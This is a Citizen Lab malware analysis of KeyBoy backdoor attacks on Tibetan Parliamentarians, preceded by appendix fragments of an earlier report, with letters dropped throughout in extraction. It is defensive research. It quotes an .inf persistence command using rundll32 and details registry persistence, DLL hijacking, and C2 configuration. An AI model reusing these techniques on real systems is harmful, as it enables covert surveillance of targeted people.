Unpacked dvm.exe 6161083021B695814434450C1882F9F3 njRAT payload B4121C3A1892332402000EF0D587C0EE 8EBEB3F91CDA8E985A9C61BEB8CDDE9D 23 / 53 5-Jul-2016 Dropper Doc 3 Decoy Dropper 4 Android Malicious APK (DroidJack) adobe_flash_player.apk These hashes are also available via the Citizen Lab Github. Appendix E: Email Information Date Sender subject Binary attached 03 Oct 2015 06:05:41 0700 (PDT) office@assadcrimes.info 88.198.222.163 assadcrimes.ppsx 04 Oct 2015 05:47:00 0700 (PDT) office@assadcrimes.info Re: RoundCube (212.7.195.171) assadcrimes1.ppsx Appendix F: Notification On April 12, 2016 we contacted Hetzner via e-mail as well as their abuse form, and informed them that the server was being used to host malware. We also provided network logs as well as a malware sample. We subsequently followed up with two phone calls. On a telephone call, a Hetzner representative refused to investigate, stating that they would take no investigative action before sharing the content of our complaint with the customer, who would then have 24 hours to take action. When we suggested that this might result in the deletion of evidence, and highlighted the special nature of the case, the representative refused any further action. Footnotes1 Noura has given her permission for us to disclose her role in this case, and use her photograph. 2 Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0 3 http://ashiyane[.]org/forums 4 This technique has been documented previously. 48/48 s Parliamentary: KeyBoy and the targeting of the Tibetan Community citizenlab.org /2016/11/parliament-keyboy/ By: Adam Hulcoop, Matt Brooks, Etienne Maynier, John Scott-Railton, and Masashi Crete-Nishihata Key Findings In this report we track a malware operation targeting members of the Tibetan Parliament over August and October 2016. The operation uses known and patched exploits to deliver a custom backdoor known as KeyBoy. We analyze multiple versions of KeyBoy revealing a development cycle focused on avoiding basic antivirus detection. This operation is another example of a threat actor using just enough technical sophistication to exploit a target. Introduction The Tibetan community has been targeted for over a decade by espionage operations that use malware to in ltrate communications and gather information. They are often targeted simultaneously with other ethnic minorities and religious groups in China. Examples as early as 2008 document malware operations against Tibetan nongovernmental organizations (NGOs) that also targeted Falun Gong and Uyghur groups. More recently in 2016, Arbor Networks reported on connected malware operations continuing to target these same groups, which the Communist Party of China perceives as a threat to its power. These types of operations have multiple components, each with their own associated costs to the operator. There is the exploit code and malware used to gain access to systems, the infrastructure that provides command and control to the malware operator, and the human elements developers who create the malware, operators who deploy it, and analysts who extract value from the stolen information. We anticipate that operators will attempt to balance the amount of information they expect to gather with the operational costs and risks of deploying di erent strategies and technologies. For example, in deploying a particular malware implant against a target the operator will balance the likelihood and cost of discovery with the perceived value of extracting information from that target. If a toolkit is exposed inadvertently, the target may increase defenses and the operator will have to spend more time and resources on development. Civil society groups, due to their generally limited technical capacity and lack of security expertise and countermeasures, shift the risk/reward ratio in ways favourable to the malware operator. For example, we have observed frequent reuse of older (patched) exploits in malware operations against the Tibetan community. Up-todate operating systems and software would block these threats, but the operators have probably discovered through experience that the their targets have unpatched systems and a general lack of security controls beyond antivirus programs. The continued use of old exploits is a cost reduction strategy: since they still work, there is little need to use more expensive exploits. Moreover, many of the malware defenses used by the Tibetan diaspora involve individuals recognizing signs of a malicious email, such as exhortations to open attachments. This kind of behavioral strategy pushes the operators to change their social engineering tactics, but does not provide pressure to radically change their toolkits. This 1/25 situation is di erent from a technical-indicator based institutional security environment. In practice, minimal code changes su cient to bypass signature-based security controls such as antivirus may be all that are necessary. This report analyzes an operation targeting members of the Tibetan Parliament. The actors used a new version of KeyBoy, a custom backdoor rst disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and guration data. We observed operations in August and October 2016, shortly after an order in June to demolish the Larung Gar Buddhist Academy and days before organized protests on October 19 around the same issue. These operations involved highly targeted email lures with repurposed content and attachments that contained an updated version of KeyBoy. We assess that KeyBoy is the product of a development cycle that is iterated only as much as necessary to ensure the survival of the implant against antivirus detection and basic security controls. This report is divided into two parts: Part 1: The Parliamentarian Operation Analyzes an operation targeting the members of the Tibetan Parliament by repurposing legitimate content, and documents implanted with Keyboy. Part 2: KeyBoy Tracking Evolution Examines the KeyBoy development cycle revealing a focus on avoiding basic antivirus detection. To assist other researchers, we include appendices and indicators of compromise that detail the KeyBoy samples we analyzed and provide an in-depth analysis of some features of the most recent implant. Part 1: The Parliamentarian Operation In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament (the highest legislative organ of the Tibetan government in exile, formally known as Central Tibetan Administration). We collected two emails sent to Parliamentarians that rapidly repurposed legitimate content in an attempt to entice recipients to open malicious documents. The rst attempt leveraged an old vulnerability in the parsing of Rich-textformat (.rtf) les (CVE-2012-0158). The second attempt used a newer, but also patched, .rtf vulnerability (CVE-2015-1641). Both attempts used versions of KeyBoy and shared the same command and control infrastructure as well as other con guration details. Attempt 1 On August 25, 2016, members of the Tibetan Parliament received an email with information on an upcoming conference relevant to the Tibetan community. This email had the same subject and attachment as a legitimate message sent to the same recipients just 15 hours prior, but in this case the attachment was crafted to exploit a frequently targeted vulnerability in Microsoft O ce. The accompanying malware was a backdoor implant designed to surveil the computers of the Parliamentarians. This malicious attachment used the original, legitimate lename as a decoy (see: Figure 1). This level of targeting and re-use of a legitimate document sent only hours before shows that the actors behind the operation are closely watching the Tibetan community, and may have already compromised the communications of one or more of the Parliamentarians. theme of the Document name: conference.doc MD5: 8307e444cad98b1b59568ad2eba5f201 2/25 Opening the attachment (an apparently blank document) in Microsoft Word would result in the infection of the target system with the KeyBoy implant. The Infection Chain The email attachment is a .rtf document containing a dropper, delivered using an exploit designed to leverage CVE-2012-0158, a vulnerability in the way that Microsoft Word handles .rtf les. Over the past four years, this vulnerability has been consistently used in malware campaigns against the Tibetan community despite having been Figure 1: Email lure containing malicious document. Note the use of letters in an attempt to appear as in the sender address. patched since April 2012. If the exploit is successful, the following infection chain (see: Figure 2) is observed on the system. Figure 2: Process chain after exploit is successful The les in this infection chain are outlined below. The exploit launches an executable dropper component which is responsible for placing the malware payload and its con guration le on disk, and nally for launching the main malware code. Note that the dropper and the nal (DLL) payload were compiled within seconds of each other. Name: dw20.exe 256512 Size: bytes 3/25 09 May 2016 08:41:26 Compile Time: UTC MD5: 0b4d45db323f68b465ae052d3a872068 SHA256: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49 Purpose: dropper binary, used to install and execute the main implant Name: wab32res.exe Size: 46080 bytes 13 April 2008 18:30:52 Compile Time: UTC MD5: 8f08609e4e0b3d26814b3073a42df415 SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d Purpose: legitimate Microsoft Windows Address Book executable, used to load nal payload Name: wab32res.dll 138240 Size: bytes 09 May 2016 08:41:05 Compile Time: UTC MD5: 495adb1b9777002ecfe22aaf52fcee93 SHA256: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04 Purpose: malware payload, launched by wab32res.exe via DLL search order hijacking Next, the dropper places a renamed copy of the legitimate Windows Address Book executable, along with the malware binary, wab32res.dll, in the Local Application Data directory. Notably, the dropper modi es the timestamps of the con guration le and the payload to match those of the \Microsoft\SystemCertificates\My\ directory within the user s Local Application Data directory. Once these les are written to disk, the dropper starts the Windows Address Book executable which loads and executes the malicious wab32res.dll le via DLL search-order hijacking. Attempt 2 On October 11, 2016, the Tibetan Parliamentarians received an email with content repurposed from a Tibetan activism campaign protesting the demolition of a Buddhist monastery in Tibet. The email was sent from the same email address as the previous attempt (tibetanparliarnent[@]yahoo.com) and appears to copy content from the Facebook page of a Tibetan NGO promoting the campaign. The message urges recipients to open an attached .rtf le with further details on the campaign (see: Figure 3). urgent action larung gar buddhist Document name: academy.rtf MD5: 913b82ff8f090670fc6387e3a7bea12d Opening the attachment (an apparently blank document) in Microsoft Word would, similar to the rst attempt, result in the infection of the target system with the KeyBoy implant. The Infection Chain The .rtf document attached to the malicious email was designed to exploit a more recent vulnerability: CVE-20151641. If successful, this exploit launches a newer version of the same malware used in the August attempt outlined above, using a similar infection chain. Name: n/a 4/25 262144 Size: bytes 29 September 2016 00:46:11 Compile Time: UTC MD5: 23d284245e53ae4fe05c517d807ffccf SHA256: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf Purpose:dropper binary, used to install and execute the main implant Name: wab32res.exe Size: 46080 bytes 13 April 2008 18:30:52 Compile Time: UTC MD5: 8f08609e4e0b3d26814b3073a42df415 SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d Purpose:legitimate Microsoft Windows Address Book executable, used to load nal payload Figure 3: Email lure used in second attempt Name: wab32res.dll 143872 Size: bytes 29 September 2016 00:21:34 Compile Time: UTC MD5: 087bffa8a570079948310dc9731c5709 SHA256: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88 Purpose:malware payload, launched by wab32res.exe via DLL search order hijacking Local Application As with the rst attempt, the resulting dropper installs the malware payload into the Data directory as wab32res.dll and subsequently launches it using the same method of DLL search-order hijacking against the legitimate Windows Address Book executable. A Note on Vulnerabilities 5/25 The two .rtf vulnerabilities targeted in these exploitation attempts, CVE-2012-0158 and CVE-2015-1641, are among a set of four .rtf vulnerabilities discussed in recent reporting from researchers at Arbor Networks. The researchers describe the presumed existence of an exploit document builder designed to selectively weaponize .rtf les using four older, patched, vulnerabilities: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015-1770. The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against not only Tibetan groups, but also others related to Hong Kong, Taiwan, and Uyghur interests. While we have not connected the campaign targeting the Tibetan Parliamentarians to the campaigns described by Arbor, the continual pairing of these older .rtf vulnerabilities with malware operations against the Tibetan community is noteworthy. The Malware The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor discussed in 2013 by Rapid7. KeyBoy provides basic backdoor functionality, allowing the operators to select from various capabilities used to surveil and steal information from the victim machine. KeyBoy functionality: Gather system information, including details of the operating system, processor, disk, memory, display, and uptime (see: Figure 4) Upload les to the victim computer Download les from the victim computer Browse the le system, including gathering details about attached drives Execute commands and applications Launch interactive shell These updated versions of KeyBoy make use of an encoded guration to store their command and control (C2) information along with other required settings. In both cases, the dropper wrote this con guration le in the user Local Application Data directory as Figure 4: Format strings illustrating some of the system information obtained by KeyBoy from an infected machine win32res.dat. After analyzing these malware samples, we were able to decode the following con guration parameters, presented 6/25 in Table 1 Line Description First sample Second sample Line 1 Identity code, used to ensure con g was correctly decoded 9876543210 9876543210 Line 2 C2 Server #1 (hostname/ip) 45.125.12[.]147 45.125.12[.]147 Line 3 C2 Server #2 (hostname/ip) 103.40.102[.]233 45.125.12[.]147 Line 4 C2 Server #3 (hostname/ip) 45.125.12[.]147 45.125.12[.]147 Line 5 Port used with C2 Server #1 Line 6 Port used with C2 Server #2 Line 7 Port used with C2 Server #3 Line 8 Password for operator login tibetwoman tibetwoman Line 9 Campaign ID, transmitted to C2 during login NNNN NNNN Table 1: Decoded con guration parameters from both KeyBoy samples observed in the Parliamentarian operation A full description of the new algorithm used by KeyBoy to decode its con guration le is presented in Appendix A. Once the KeyBoy DLL has been executed, it validates that a particular string value (likely identifying the KeyBoy version) is set in the Windows Registry. First sample Second sample HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zonemap\Ver 20160509 agewkassif Additionally, these versions of KeyBoy ensure persistence by setting the wab32res.exe le to be loaded upon login via exploiting the Winlogon Shell key, which in turn loads the malicious wab32res.dll le by the aforementioned DLL search-order hijacking method. Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell explorer.exe, C:\users\\AppData\Local\wab32res.exe The backdoor then sends a login beacon to the C2 server which, once decoded, looks like: 7/25 USER-PC 192.168.100.101 NNNN 2016/09/13 16:11:56 20160509 These values are described as follows in Table 2: Value from Example Description Data header code for initial check-in beacon USER-PC %computername% of victim PC 192.168.100.101 IP address of victim PC NNNN Campaign ID from the KeyBoy con guration 2016/09/13 16:11:56 Timestamp of local PC 20160509 Internal version identi Table 2: Descriptions of the login beacon values This login data, as well as all other communication between backdoor and command and control server, is transmitted using an encoding mechanism based on principles from modular arithmetic. We describe this network communication encoding in detail in this supplementary document. As can be seen in the login event example above, when sending data to the C2, the KeyBoy implant uses a series of header codes to specify the type of data which is being transmitted, described in Table 3: Header code Data being transmitted Heartbeat / Keepalive Initial check-in beacon System information (drive info, system speci cations, interface info) Data from remote commands and shell Data relating to interactions via File Manager Ready to initiate le download Ready to initiate le upload or update Table 3: KeyBoy header codes for sending data to the C2 server The Infrastructure 8/25 The command and control (C2) servers used in the Tibetan Parliament operation were extracted from the KeyBoy guration les: C2 Host: 45.125.12[.]147 Desc: Royal Network Technology Co City: Guangzhou Country: China No relevant data or passive DNS information was available C2 Host: 103.40.102[.]233 Desc: Dragon Network Int l Co. Ltd City: Hong Kong Country: Hong Kong Domain: tibetvoices[.]com Host First Seen: Last Seen: 127.0.0.1 2016-09-29 Current as of publication 103.40.102[.]233 2016-07-15 2016-09-28 112.10.117[.]47 2016-05-25 2016-05-26 We uncovered very little information about the command and control (C2) infrastructure used in this operation. The guration les referenced hard-coded IP addresses for the C2 servers, as opposed to using domain names as was seen in prior KeyBoy campaigns. Passive DNS analysis revealed one domain, tibetvoices[.]com, which was brie y pointed to one of the C2 server IP addresses found in the KeyBoy con guration le used in the rst attempt against the Parliamentarians. This domain was created in May 2016 (around the time that the KeyBoy sample used in the rst attempt was compiled) and was pointed to IP address 103.40.102[.]233 from July 15 to September 28. Subsequently, this domain was pointed to 127.0.0.1, e ectively taking it o ine. This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco. Cisco hypothesized that the actors behind KeyBoy may have been nullifying the DNS records when an active campaign was not underway, in an attempt to stay below the radar . This tactic allows the malware operator to ensure that no command and control tra c will be sent out from the infected system, thus preventing detection via network monitoring. This tactic, however plausible, would not apply to the KeyBoy samples we analyzed, as the C2 con guration relied upon hard coded IP addresses and did not directly reference the tibetvoices[.]com domain. It is possible that a erent campaign was launched which used this domain, but we were unable to nd any evidence of such a campaign. Our analysis provides a cursory look at some of the capabilities and implementation details of the KeyBoy backdoor as used during a malware operation targeting Tibetan Parliamentarians. These versions of KeyBoy di ered from the one rst described by Rapid7 in several ways, many of which will be described in the sections to follow. During our research into this operation we were able to uncover two additional samples of KeyBoy which were likely used in previous malware campaigns. These samples were contained in exploit documents containing distinct lure content, one having a Tibetan nexus, the other an Indian nexus. 9/25 In Part 2 we present a brief overview of the observable evolution of KeyBoy based upon all of the samples we obtained. Part 2: KeyBoy Tracking Evolution Periodic updates are common in the world of software development. Features are added and removed, bugs are patched, and code is written to execute more e ciently. The same holds true for malicious software, but with the additional requirement that the development cycle must always satisfy the operational need for covertness. To be ective, malicious software designed for surveillance must remain undetected. Malware developers are in a constant struggle to avoid the security controls that protect target systems. We believe the 2013, 2015, and 2016 KeyBoy samples provide evidence of a development e ort focused on changing components that would be used by researchers to develop detection signatures. This section outlines how we came to this conclusion. In building our KeyBoy chronology, we collected several samples and examined three data points from each: The compile time of the KeyBoy binary A string observed in the KeyBoy binary we refer to as the version identi Elapsed time between compile time and the time of rst exposure Analysis of these data points gave us a moderate to high level of con dence that the binary compile times provided a reliable estimate of the true development timeline. An Evolving Implant In an e ort to understand its evolution, we compared the code of several versions of KeyBoy as identi ed by their version identi strings, shown in Table 4: Version Identi Notes Proxy 20130401 Reported by Rapid7 in relation to an Indian nexus Proxy 20130401 Reported by Rapid7 in relation to a Vietnamese nexus P_20150313 Discovered via hunting; carried Indian lure content 20151108 Discovered via hunting; carried Tibetan lure content 20160509 First sample of the Parliamentarian operation from August 2016 20160509 An alternate sample, using di erent con guration data agewkassif Second sample of the Parliamentarian operation from October 2016 Table 4: Version identi er strings analyzed The version identi is a particular string that appeared in every KeyBoy sample we studied. It is transmitted to the command and control server as part of the login data packet, and, in recent versions, this identi er is written to the Windows registry in a key named . With the exception of the newest (chronologically speaking) KeyBoy version we discovered, this identi er always contained a date-like component which matched the compile date of the 10/25 KeyBoy binary in every case. In the newest sample, the developers replaced this date-like string with a seemingly random set of letters. A timeline depicting these KeyBoy versions, along with some important characteristics, is shown in Figure 5. Figure 5: The timeline of KeyBoy s evolution Noteworthy Modi cations This section describes some of the most signi cant changes observed across the KeyBoy versions. Each of these components would have been an ideal target for signature-based identi cation, using either static string or network packet-based detection mechanisms. Header Code Evolution Of the changes we identi ed one stands out as being an immediate target for an e ective antivirus signature the evolution of header codes used during communication between the implant and command and control server. As shown in Table 5, these codes changed substantially after the 2013 KeyBoy samples were examined and publically documented by Rapid7. It is reasonable to hypothesize that this signi cant change in format was in response to the publication of Rapid7 s research. 2013 Early 2015 Late 2015 2016 $login$ $sysinfo$ $shell$ 11/25 leManager$ leDownload$ leUpload$ Table 5: Header codes used by KeyBoy during C2 communication In addition, modifying these codes produced a downstream change in the appearance of the network communication tra c produced by an active KeyBoy infection. This change would likely have rendered existing network based signatures ine ective. guration File Changes Another major change we rst observed in version P_20150313 is the complete redesign of the algorithm used to encode the KeyBoy con guration le. In the 2013 samples described by Rapid7, this con guration le was encoded using a simpli ed static-key based algorithm. This newer encoding algorithm is signi cantly more involved, removing the use of a static encryption key in favour of a dynamically constructed lookup table. We provide a detailed explanation of this new algorithm in Appendix A. Persistence Changes The method used by the implant for maintaining persistence was also changed several times. The earlier versions used a Windows service to ensure the malware stayed persistent, moving to a more commonly seen tactic of setting the Run key in the Windows registry in the early 2015 sample. This method changed again in late 2015 when the implant migrated from the Run key to using a less frequently observed registry key: Winlogon\Shell. This key stores the list of executables which are to be run once a Windows GUI session is created, and typically holds only the standard user shell, explorer.exe. String Obfuscation In another modi cation, rst observed in the most recent October 11 Parliamentarian operation (version agewkassif), the developer(s) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware. This introduction of string obfuscation also suggests a development change aimed at evading detection. The header codes, lename references, and all of the operator commands were obfuscated and only decoded during execution of the KeyBoy DLL. Figure 6 shows a sampling of these strings, after decoding. Evidence of Modularity Finally, there were numerous changes observed that could suggest that KeyBoy was being deployed using a modular or component based mechanism. The GetUp export which is linked to the browser credential theft capability seems to be present in some samples and not others, even for versions within the same development stage. As well, the inconsistent use of a dropper binary during infection is further evidence supporting the modular component theory. Additional Details 12/25 Beyond the main modi cations outlined above, numerous smaller changes were also observed, many of which are described in Table 6 below. Version Key Changes Identi Proxy 20130401 Persistence handled via Windows service One sample contained the GetUP export, the other did not Used full word header codes encapsulated by $ symbols, such as $login$ P_20150313 Adopts new algorithm for con le encoding Retained browser credential theft module Moved to persistence via Run key Header codes shift to #-encapsulation Deployed without use of dropper binary 20151108 Continues use of new con g encoding algorithm Migrated to use of WinLogon key for persistence Installation now conducted via VBS scripts Adopted multi-byte strings internally and in C2 communication Header codes move to *-encapsulation Figure 6: Header code and command strings after being decoded at run-time 64 bit version distributed inside 32 bit payload No evidence of browser credential module Deployed using dropper binary 20160509 Continues use of new con g encoding algorithm Added AutoUpdate/Upload & Execute function Deployed using dropper binary Header codes retain *-encapsulation, new keep-alive code, *l* Execution via DLL search-order hijacking of legitimate Windows application VBS script traces still present, but no longer used No 64bit version embedded 13/25 agewkassif Functionally identical to 20160509 sample Continues use of new con g encoding algorithm Removed date string from version identi Added static string obfuscation code. Strings used for C2 commands, header codes, and more are now decoded at runtime Table 6: Changes observed between successive versions of KeyBoy Additional technical details relating to several of the KeyBoy samples described in this section are provided in Appendix B. Connecting KeyBoy to Other Operations In their Operation Tropic Trooper report, Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy. Trend Micro speci cally noted that the 2013 versions of KeyBoy used the same algorithm for encoding their con guration les as was observed in the Operation Tropic Trooper malware. This connection may o er another explanation for the signi cant change in the con guration le encoding algorithm we described in relation to KeyBoy. If KeyBoy is a single component of a larger espionage toolkit, the developers may have realized that this older, static-key based, con guration encoding algorithm was inadvertently providing a link between disparate components of their malware suite. A Note on Samples We were not able to locate a large sample set for KeyBoy. Though we discussed the development timeline, we have limited insight into the victims targeted by each of these samples. We cannot conclude that all are being deployed by the same group. We provide YARA signatures and encourage anyone who can provide additional samples or context to contact us. Recent Tibetan Protests The harm of malware operations against the Tibetan community is well-documented, and this latest campaign is no exception. Examining the lure content sent to the Tibetan Parliamentarians sheds light on the oppression faced by the Tibetan community. On October 19, over 180 Tibetan groups protested the ongoing demolitions of the Larung Gar Buddhist Academy, the largest Tibetan Buddhist institute in the world. The demolitions stem from an order issued by Chinese authorities in June 2016, according to a joint statement issued by Tibet groups on the date of protest. According to the same joint statement, the order from Chinese authorities said the community was in need of ideological guidance from the Chinese state. In conjunction with the demolitions, residents are being forcefully removed from Larung Gar. To date, the forced removals have led to to the suicide of three resident nuns. The Communist Party of China views the Tibetan movement as a threat to its rule, alongside Uyghur, Falun Gong, advocates for an independent Taiwan and Hong Kong, and members of the democracy movement. Surveilling the highest governing body of the Central Tibetan Administration aligns with the overall interests of the government of China. However, connecting the malware development ecosystem and the ow of stolen information to a state-actor 14/25 is an elusive task. With the data available we are unable to conclusively connect the Parliamentarian Operation to any speci c actor or nation-state. Conclusions Recent Citizen Lab reports have documented a trend away from the use of attachment-based malware operations targeting the Tibetan Diaspora. These changes may re ect malware operators shifting tactics in response to changes in the community, including education campaigns encouraging Tibetans not to use email attachments, or perhaps also by more sophisticated attachment scanning by popular email providers. The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits. These exploits, while older, were used to deliver a malware payload which shows signs of a systematic technical adaptation designed to reduce the likelihood of signature based detection. The developers of KeyBoy have made the minimum necessary technical changes required to avoid detection by signature-based antivirus, and yet retained exploits because they likely continue to work their targets. For a community lacking an adequate level of human and nancial resources, deployment of commercial (i.e.: nonfree) antivirus solutions, updated releases of common o ce productivity software, and even software patches may be out of reach. Under such conditions, the use of exploits against older, patched, vulnerabilities becomes yet another iteration of an actor using just enough sophistication to successfully exploit a target. The operation against the Parliamentarians yields a clear example of this tactic. When the August operation failed to fully compromise the target group, the operators redeployed in October using a slightly newer, but still well-known and patched, exploit. As we observe the evolution of strategies levied against the Tibetan Diaspora, the constant cat-and-mouse game embroiling this community becomes evident. While some behavioural adaptations have shown promise in reducing the threat, the operation against the Tibetan Parliament underscores the need for continued diligence and security awareness. Acknowledgments Special thanks to Tibet Action Institute. Additional thanks to Jakub Dalek, PassiveTotal, VirusTotal, and TNG. Appendix A: Decoding KeyBoy Con Recent versions of KeyBoy maintain encoded con guration data inside a le stored on disk. In the 20160509 sample used in the Tibetan Parliament campaign, this le was named wab32res.dat. The con guration contains a 16 byte header followed by a number of bytes which are encoded using a novel algorithm. The 16 byte header stores an ascii character representation of the hexadecimal values corresponding to the size (in bytes) of the decoded con g data, followed by the number of bytes containing encoded con guration data. The sample under examination contained the following header, and Figure 7 shows the raw con guration Size of con g (in bytes) once decoded Number of bytes in encoded con 0x00 0x00 0x00 0x5B 0x00 0x00 0x00 0x4B 15/25 The con guration le used by this malware is encoded using what appears to be a custom schema. While some Figure 7: Con guration le for sample under examination earlier versions of this backdoor used more simpli ed encoding techniques for the con guration data, newer versions have adopted a more involved algorithm. At the heart of the decoding function is the use of a dynamically constructed lookup table containing sequences of bytes which represent the ASCII characters for the cleartext con guration data. At the outset of the decoding function, a base lookup table is created containing 256 entries. This initial table can be thought of as an identity matrix, where, for each index, the lookup table contains the index as the stored value (see: Figure 8). For example: LookupTable[0x0] LookupTable[0x1] LookupTable[0xFF] 0xFF During the decoding of the con guration le, this table is expanded dynamically. Each iteration of the algorithm will populate the lookup table sequentially, beginning with index 0x102 (since the table index 0x101 is reserved). Figure 8: Construction of the base lookup table Algorithm Walkthrough The algorithm has three basic steps: 1. Obtain an index by decoding a value from the con guration 2. Find the value in the lookup table corresponding to this index, and place this result in the memory bu holding decoded con guration data 3. Generate a new value and insert it into the lookup table at the next available index Step 1 This step requires the algorithm to obtain an index value from the con guration le. In order to obtain this index, a decoding function evaluates the data in the con guration le not as successive bytes, but as a series of integers calculated by considering consecutive sequences of 9-bit binary values. Figure 9 provides a visual representation of this process. We can see that the rst few indices being calculated by 16/25 this decoder are hexadecimal values 0x100, 0x39, 0x38, and 0x37. The rst value, 0x100, is a marker which denotes the beginning of the con guration data. The values 0x39, 0x38, and 0x37 are the rst three indices used to obtain data from the lookup table. Figure 9: Step 1 in KeyBoy decoding algorithm. Indices are obtained by viewing the data in 9-bit windows Step 2 As mentioned above, the rst 256 entries in the lookup table are created as an identity matrix, and thus the result of lookups for 0x39,0x38,0x37 would be: LookupTable[ 0x39 ] = 0x39 => (ascii) LookupTable[ 0x38 ] = 0x38 => (ascii) LookupTable[ 0x37 ] = 0x37 => (ascii) These values are then stored in memory as decoded bytes of con guration data. Step 3 After each iteration of calculating an index (step 1) and then obtaining the corresponding value from the lookup table (step 2), the algorithm will create a new entry in the lookup table at the next available index. The format of this new lookup table entry is simply the concatenation of the results of the previous lookup with the rst byte of the current lookup (see: Figure 10). 17/25 So, again using the same example bytes along with Figures 9 and 10 above, if the current iteration of the algorithm Figure 10: Steps 2 & 3 in the KeyBoy con guration decoding algorithm decoded the value 0x34 in step 1, and thus retrieved the value 0x34 = in step 2, the newly formed lookup table entry would be: LookupTable[ 0x106 ] = [0x35,0x34] => Thus, if at some future point in the decoding process the index 0x106 was obtained in step 1, the output to the guration data would be the two bytes [0x35,0x34] which have ascii representation . This provides a method of data compression to the con guration A Python script was created for the purpose of automating this con guration le decoding process. The output of this script when run against the con guration le used by the rst of the two Parliamentarian operation samples yielded the following data: 18/25 Identity Code: 9876543210 C2 Host/IP #1: 45.125.12.147 C2 Host/IP #2: 103.40.102.233 C2 Host/IP #3: 45.125.12.147 C2 Port #1: 443 C2 Port #2: 443 C2 Port #3: 443 Password: tibetwoman Campaign ID: NNNN Appendix B: KeyBoy Samples Version: P_20150313 Exploit Document: 05b5cf94f07fee666eb086c91182ad25 Payload: 0c7e55509e0b6d4277b3facf864af018 DLL Exports Embedding 0x1000bfb0 GetUP 0x1000c940 SSSS 0x1000bc60 StartWork 0x1000c570 SvcMain 0x1000c430 Installation This sample was discovered inside a malicious PowerPoint slide show which carried lure content consistent with an Indian-nexus, and which was uploaded to VirusTotal in April 2015 using the lename athirappalli.pps. Athirappilly is a village in India known for its wildlife and waterfalls. The visual contents of the slide show are images of waterfalls, presumably from this village. This malicious .pps le was weaponized using (closely related to CVE2014-4114 aka Sandworm, which we have previously observed this exploit used against the Tibetan community) to execute the following embedded DLL: Name: SystemCertificates.ocx 495616 Size: bytes 13 Mar 2015 03:05:34 Compile Time: UTC MD5: 0c7e55509e0b6d4277b3facf864af018 SHA256: 5395f709ef1ca64c57be367f9795b66b5775b6e73f57089386a85925cc0ec596 Persistence This DLL maintains persistence by setting the following registry entry in the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key: SystemCertificates "cmd /c start dll32.exe %APPDATA%\Microsoft\SystemCertificates\SystemCertificates.ocx, Run SSSS This registry key is set via the Sandworm exploit, as the execution of an .inf le containing the following 19/25 instructions are triggered: [DefaultInstall] CopyFiles = RxCopy AddReg = RxStart [RxCopy] ..\..\Roaming\Microsoft\SystemCertificates\SystemCertificates.ocx, contact.pdf [RxStart] HKCU,Software\Microsoft\Windows\CurrentVersion\Run,SystemCertificates,,"cmd /c start Rundll32.exe %APPDATA%\Microsoft\SystemCertificates\SystemCertificates.ocx, SSSS" In comparison with the prior generation of KeyBoy examined by Rapid7, this mechanism represents a change to registry based persistence from the previously used Windows service. guration Using the algorithm presented in Appendix A, we were able to decode the con guration le used by this sample. Once decoded, the following information was obtained: Identity Code: IJUDHSDJFKJDE C2 Host/IP #1: www.about.jkub[.]com C2 Host/IP #2: www.eleven.mypop3[.]org C2 Host/IP #3: www.backus.myftp[.]name C2 Port #1:80 C2 Port #2:80 C2 Port #3:443 Password:wariii Campaign ID:war Infrastructure C2 Host: www.about.jkub[.]com Host Desc: Dynamic DNS provided by changeip.com First Seen: Last Seen: 175.213.49[.]6 2016-10-25 Current as of publication 45.32.47[.]148 2016-09-26 2016-10-24 157.7.84[.]81 2015-04-21 2015-04-07 20/25 C2 Host: www.eleven.mypop3[.]org Host Desc: Dynamic DNS provided by changeip.com First Seen: Last Seen: 175.213.49[.]6 2016-10-25 Current as of publication 45.32.47[.]148 2016-09-26 2016-10-24 C2 Host: www.backus.myftp[.]name Desc: Dynamic DNS Host First Seen: Last Seen: 192.241.149[.]43 2015-05-05 Current as of publication Version: 20151108 Exploit Document: 8846d109b457a2ee44ddbf54d1cf7944 Dropper: 8846d109b457a2ee44ddbf54d1cf7944 Payload: c5b5f01ba24d6c02636388809f44472e Embedded 64bit: 371bc132499f455f06fa80696db0df27 Payload DLL Exports Install 0x100085a0 SSSS 0x100081e0 StartWork 0x100086a0 SvcMain 0x10008fb0 cfsUpdate 0x10008cb0 Installation This .rtf document, also exploiting CVE-2012-0158, was submitted to VirusTotal in March 2016. The exploit triggers the execution of an embedded dropper, similar to the method observed in our initial sample described in Part 1. This dropper creates three les on disk, each in the %localappdata% folder: 1. cfs.dat KeyBoy con guration 2. cfsupdate.dal KeyBoy payload DLL 3. desk.vbs Windows script used for installation The Windows script le, desk.vbs, contained the following content: 21/25 The dropper executes this script le which subsequently launches the KeyBoy backdoor and sets persistence as described below. Also noteworthy in this sample was the fact that this payload inspected the architecture of the victim PC to determine if it was 64 bit capable. If so, a 64 bit version of the payload was decoded from the data section of the cfsupdate.dat le using an XOR operation having key 0x90. This is very similar to the method described by Trend Micro in their report on the TROJ_YAHOYAH malware. Interestingly, the 64-bit module was packed using a known freeware binary packer. This is in contrast to the 32-bit versions of KeyBoy, none of which contained any binary protections whatsoever. Upon unpacking, the 64-bit version of this KeyBoy code was functionally identical to the 32-bit version. Leftover Code Further illustrating the continued development and connections between samples are the leftover remnants from 20151108 existing in the 